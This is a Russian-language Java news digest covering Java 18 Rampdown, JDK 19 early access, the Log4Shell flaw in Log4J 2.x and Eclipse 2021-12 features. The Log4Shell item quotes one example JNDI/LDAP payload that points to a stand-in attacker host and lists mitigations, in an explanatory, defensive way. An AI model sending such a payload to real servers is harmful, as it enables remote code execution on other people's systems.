Новости Java #34

• Java 18 перешла в первую фазу Rampdown: главный репозиторий JDK был ответвлён в стабилизационный репозиторий JDK 18, и новых JEP'ов в этом релизе больше не будет.

Одновременно с этим началась разработка Java 19. У нового релиза появилась своя страница, где уже доступна для скачивания первая ранняя сборка JDK 19-ea+1.

• В популярной библиотеке логирования Apache Log4J 2.x обнаружили серьёзную уязвимость, позволяющую выполнить на уязвимом сервере произвольный код. Уязвимость может быть эксплуатирована, если Log4J используется для параметризированного логирования непроверенного текста, приходящего от пользователя, например:

log.info("Сообщение от пользователя: {}", userMsg);

Злоумышленник может воспользоваться этим и послать строку специального вида (${jndi:ldap://attacker.com/a}), которую обработает Log4J и загрузит через JNDI вредоносный класс с LDAP-сервера, контролируемого злоумышленником. Класс будет инъектирован в Java-процесс, что позволит атакующему выполнить произвольный код с правами пользователя, от лица которого запущен процесс.

Так как Apache Log4J является одной из двух самых популярных библиотек логирования в Java (наряду с Logback), то такая уязвимость поставила под угрозу огромное количество сервисов по всему миру, включая крупнейших.

Наиболее надёжным способом защиты от Log4Shell (такое народное название дали этой уязвимости) является обновление Log4J до версии 2.15.0. Также решением является установка системного свойства log4j2.formatMsgNoLookups=true, однако оно работает только для версий Log4J 2.10.0 и выше. Кроме того, можно полностью удалить class-файл org/apache/logging/log4j/core/lookup/JndiLookup.class из библиотеки.

Уязвимости меньше подвержены новые версии Java (8u191+, 11.0.1+, 13, 15, 17), однако они не защищены от всех возможных векторов атаки, поэтому полагаться на такую защиту крайне нежелательно и настоятельно рекомендуется предпринять один из вышеописанных шагов.

• Вышел Eclipse 2021-12 со следующими нововведениями:

  • Поддержка разработки на Java 17
  • Новое действие "Convert String concatenation to Text Block"
  • Возможность помечать объекты меткой в режиме отладки
  • Умная вставка текста в поле диалога Open Type (обрезание лишнего)
  • Новый редактор POM с возможностью автодополнения по имени артефакта/плагина и выбором из выпадающего списка версий
  • Новое view "Launch Configurations"
  • Мультикурсоры (одновременное редактирование в нескольких частях файла)
  • Открывание ссылок во внешнем браузере вместо внутреннего
  • Улучшения в тёмной теме
  • Улучшение времени старта IDE
  • Улучшения в EGit и JS-редакторе

Подписывайтесь на канал в Telegram, чтобы не пропускать новости.

Все материалы на этом сайте выложены под лицензией CC BY-SA 4.0
© Евгений Козлов, 2017-2024
Feed
Table of JEPs